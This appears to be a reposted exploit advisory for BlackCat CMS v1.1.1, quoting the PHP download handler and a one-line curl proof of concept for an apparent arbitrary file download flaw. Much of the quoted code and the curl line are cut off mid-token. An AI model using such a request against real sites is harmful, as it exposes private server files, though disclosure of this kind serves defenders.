# Date: 2015/06/16
# Vendor Homepage: http://blackcat-cms.org/
# Software Link: http://blackcat-cms.org/temp/
# Version: v1.1.1
# Tested on: Centos 6.5,PHP 5.4.41
# Category: webapps
* Description
file:/modules/blackcat/
72 // download
73 if(CAT_Helper_Validate::
74 {
75 $file = CAT_Helper_Directory::
76 if(file_exists($file))
77 {
78 $zip = CAT_Helper_Zip::getInstance(
79 $zip->config('removePath',
80 ->create(array($file));
81 if(!$zip->errorCode() == 0)
82 {
83 echo CAT_Helper_Validate::
84 . ": ".str_ireplace( array( str_replace('\\','/',CAT_PATH)
85 }
86 else
87 {
88 $filename = pathinfo($file,PATHINFO_
89 header("Pragma: public"); // required
90 header("Expires: 0");
91 header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
92 header("Cache-Control: private",false); // required for certain browsers
93 header("Content-Type: application/zip");
94 header("Content-Disposition: attachment; filename=\"".basename($
95 header("Content-Transfer-
96 header("Content-Length: ".filesize($filename));
97 readfile("$filename");
98 exit;
99 }
100 }
POC:
curl -sH 'Accept-encoding: gzip' "http://10.1.1.1/blackcat/
Komentarų nėra:
Rašyti komentarą